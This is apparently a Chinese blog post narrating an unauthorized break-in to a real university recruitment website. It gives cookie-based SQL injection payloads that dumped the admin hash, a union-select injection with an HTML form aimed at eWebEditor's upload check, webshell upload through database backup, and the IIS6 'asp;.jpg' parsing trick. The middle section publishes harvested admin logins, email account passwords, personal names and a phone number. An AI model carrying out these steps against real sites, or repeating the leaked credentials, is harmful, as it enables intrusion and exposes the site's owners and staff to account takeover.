对某招聘网站的一次友情检查

比赛归来,机友无意中扫到了一个注入点,貌似和工大有关系,就扔给了我,有报错,没有过滤单引号,不过做了防注入处理


首先尝试了几种流行的绕过防注入的方法

(1)运用URLEncode编码 ,这个我认为是不科学的,因为URLEncode是浏览器解析的,在服务端根本不会产生影响

(2)使用char(),hex()函数,这个函数只能用于常量被过滤的情况,并不能绕过select等关键字的过滤

(3)去掉空格,或者使用tab代替空格,或者使用注释/**/代替空格或者分割关键字,等等。一般情况不会有用(实验证明在mysql下/**/不能分割关键字)

(4)通过like in between 等关键字绕过对 ’=‘ 的注入,一般会生效,但是这种情况下select ,from 等关键字也会被过滤。

(5)用+拆分常量,只适用于常量的绕过

这几种方法都没有成功

之后通过wwwscan的扫描得到了泄漏模板信息的页面,使用的是众泰网站系统,果断下载模板


找到conn\conn.asp文件,其中的防注入代码如下,根据代码,在所有的数据库连接处对所有get,post提交的数据进行过滤,不过却漏掉了cookie

'为了系统的安全,直接在有数据库连接的地方都加上SQL注入的免疫
'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'| ; | exec | insert | select | delete | update | count | % |chr(| char(| master | truncate | declare "
'----------------------------------
Fy_Inf = split(Fy_In,"|")

If Request.QueryString()<>"" Then
For Each Fy_Get In Request.QueryString()

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.QueryString(Fy_Get)),trim(Fy_Inf(Fy_Xh)))<>0 Then
'--------写入数据库----------头-----
conn.Execute("insert into wronglog(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
'--------写入数据库----------尾-----
End If
Next
Next
End If


dim sql_injdata,sql_inj,sql_get,sql_data
SQL_injdata = "'"  
SQL_inj = split(SQL_Injdata,"|")  
'防止Get方法注入 
If Request.QueryString<>"" Then  
	For Each SQL_Get In Request.QueryString  
	For SQL_Data=0 To Ubound(SQL_inj)  
	if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then  
	Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入');history.back(-1)</Script>"  
	Response.end  
	end if  
	next  
	Next  
End If  
'防止Post方法注入 
If Request.Form<>"" Then  
	For Each Sql_Post In Request.Form  
	For SQL_Data=0 To Ubound(SQL_inj)  
	if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then  
	Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>"  
	Response.end  
	end if  
	next  
	next  
end if
注入点的代码如下,直接使用request来读取参数,是典型的cookie注入。

<%ds="../"%>
<!--#include file="../conn/conn.asp"-->
<!--#include file="../inc/sub.asp"-->
<!--#include file="../inc/safe.asp"-->
<%
ttid=request("typeid")
if not IsNumeric(ttid) then
else
set rs=conn.execute("select type from  zt_aclass where id="&ttid&"")
news_typename=rs("type")
set rs=nothing
end if
%>
构造注入语句,直接使用模板的默认表明,与列名发现管理员并未作修改,联合查询得知输出位置为2号位。

javascript:alert(document.cookie="typeid="+escape("1 union select 1,2 from zt_Super"));
javascript:alert(document.cookie="typeid="+escape("1 union select 1,2,3,4,5,6,7,8,9 from zt_Super"));

查询管理员用户与密码,concat()函数可以把两个结果合并,在联合查询中很好用。

javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_user,3,4,5,6,7,8,9 from zt_Super"));
javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_pass,3,4,5,6,7,8,9 from zt_Super"));
javascrip:alert(document.cookie="typeid="+escape("1 union select 1,concat(JOB_user,0x3a,JOB_pass),3,4,5,6,7,8,9 from zt_Super"));

得到管理员用户为:admin

与md5加密的密码,在线破解发现密码很弱为:8762


进入后台,发现功能很弱,只有发布文章与管理用户的功能,其他功能都被管理员删除了,使用了ewebeditor编译器,不过ewebeditor的后台也被删除了。

空空荡荡的后台


开始琢磨对ewebeditor做手脚,看看能不能上传一句话上去,下载了一个ewebeditor发现其运行原理如下

(1)编译页面选择上传文件类型并通过js把上传文件类型传送给服务器

(2)通过上传文件类型读取数据库,取得该类型的AllowExt

(3)判断后缀合法性,并修改文件名

(4)最后验证后缀是否是asp

(5)保存文件,

关键代码如下

Sub InitUpload()
	sType = UCase(Trim(Request.QueryString("type")))
	sStyleName = Get_SafeStr(Trim(Request.QueryString("style")))   //这里也加入了防注入的语句- -!
	sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
	oRs.Open sSql, oConn, 0, 1
	If Not oRs.Eof Then
		sBaseUrl = oRs("S_BaseUrl")
		nUploadObject = oRs("S_UploadObject")
		nAutoDir = oRs("S_AutoDir")
		sUploadDir = oRs("S_UploadDir")
		Select Case sBaseUrl
		Case "0"
			sContentPath = oRs("S_ContentPath")
		Case "1"
			sContentPath = RelativePath2RootPath(sUploadDir)
		Case "2"
			sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
		End Select

		Select Case sType
		Case "REMOTE"
			sAllowExt = oRs("S_RemoteExt")
			nAllowSize = oRs("S_RemoteSize")
		Case "FILE"
			sAllowExt = oRs("S_FileExt")
			nAllowSize = oRs("S_FileSize")
		Case "MEDIA"
			sAllowExt = oRs("S_MediaExt")
			nAllowSize = oRs("S_MediaSize")
		Case "FLASH"
			sAllowExt = oRs("S_FlashExt")
			nAllowSize = oRs("S_FlashSize")
		Case Else
			sAllowExt = oRs("S_ImageExt")
			nAllowSize = oRs("S_ImageSize")
		End Select
	Else
		OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')")
	End If
	oRs.Close
	' 任何情况下都不允许上传asp脚本文件
	sAllowExt = Replace(UCase(sAllowExt), "ASP", "")
End Sub

又找到了提交文件时使用的url,发现可以利用注入来修改AllowExt的查询结果,从而上传asa后缀的文件(因为asp在任何情况下都无法上传)

http://www.hit-hr.com/editor/upload.asp?action=save&type=image&style=standard
构造注入点如下,首先通过不存在的style值使查询结果为空,在通过union select填补并修改我们想要的结果,达到狸猫换太子的目的。

这样我们只需要向这个畸形url post我们的一句话就可以了

upload.asp?action=save&type=IMAGE&style=fox' 
union select 

S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileE-xt,S_FlashExt, 
 [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,-S_RemoteSize
,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObje-ct,S_AutoDir,S_BaseHref,S_ContentPath,
S_AutoRemote,S_ShowBorder      

from ewebeditor_style where s_name='standard' and 'a'='a
大家如果觉得用nc.exe比较麻烦的话,可以写一个html来提交,不过几次尝试均失败了

<HTML>
<HEAD>
<TITLE>文件上传</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
body, a, table, div, span, td, th, input, select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;}
body {padding:0px;margin:0px}
</style>
</head>
<body bgcolor=menu>
<form action="/Edit/upload.asp?action=save&type=IMAGE&style=standard' union select 1,2,3,4,S_UploadDir,6,7,8,9,10,11, ([S_ImageExt]%2b'|cer'),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onChange="originalfile.value=this.value">
<input type=hidden name=originalfile value=""><input name="" type="submit" value="提交">
</form>
</body>
</html>
后来发现,在获取style参数时加入了防注入,并过滤了 单引号,这样这条思路又行不通了。
	sStyleName = Get_SafeStr(Trim(Request.QueryString("style")))   //这里也加入了防注入的语句- -!

又回到注入点思索,尝试用跨库来修改ewebeditor的AllowExt表,屡次猜测数据库路径未果,放弃之。(看来跨库得有路径支持才好用啊   - -!)


又回到后台,猜想管理员只是删除了管理页面上的链接,并没有删除具体功能实现的页面,尝试之,成功!

根据模板源码找到,数据库备份功能的页面,果断上传一句话并使用数据库备份修改后缀。


使用 菜刀连接之,并上传大马,不过发现大马被内容被杀掉,并替换成“文件被禁止!”,使用了多款过了vriustotal的网马,均被杀。

网站目录之下有读写的权限,命令不能执行,会显示“[Err] ActiveX 部件不能创建对象”,使用上传cmd.exe的方法也不能解决,

可能是管理员删除了某些dll。


搜索了一下IP为北京市息壤傳媒文化有限公司,是一个独立IP的供应商,管路后台如下,拿之前的密码试了几次,都没有成功。

http://diy.mydnschina.com/

既然是虚拟服务器,杀软变态一些也合乎情理了,应该是用来防止

使用者上传危险文件用的。因为有目录的读写权限,做了一些信息收集。

网站标题:哈工大人才网
网站URL地址:
网站LOGO存放地址:
网站版权信息:
网站关键词:
网站描述:
联系人:客服部
联系地址:金华市八一北街汇金国际商务大厦28楼
电话:13586979758
传真:13586979758
邮件发送组件:1
邮件服务器:mail.has.ac.cn
邮箱用户名:xxc@has.ac.cn
邮箱密码:111111                       (密码已失效)
邮件域:has.ac.cn
站长名称:
站长邮箱:
系统安装目录:/
管理员目录:Admin
管理员帐户
http://www.hit-hr.com/admin/admin_login.asp
admin
8762
http://www.hit-hr.com/xadmin/login.asp
肖磊
11111
王殿明
1234
邮箱     (/temp/temp.rar 是一个备份文件,其中有几个asp页面,暴露了一个邮箱账户和密码 )
sibichuiyin@163.com
79866

百度了一下上面两位管理员的名字,竟然是校友,难道这是毕业学长自主创业失败的产物?这个弱口令简直弱的太可爱了。。。罪过罪过,睡觉去鸟。


第二天果然有大神上传了大马,思路是把一个图片的头放到大马之前或者用copy也可以,名字是1234.asp;.jpg这样,这样利用jpg的后缀逃过强大杀软的规则,并通过IIS6.0的解析漏洞

使asp能够执行,虽然上传的大马界面很挫,但是可以忍哈哈~最后在他的目录下找到了 龙盾IIS防火墙 唯一可以防木马上传的防火墙 - -! 泥马



  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值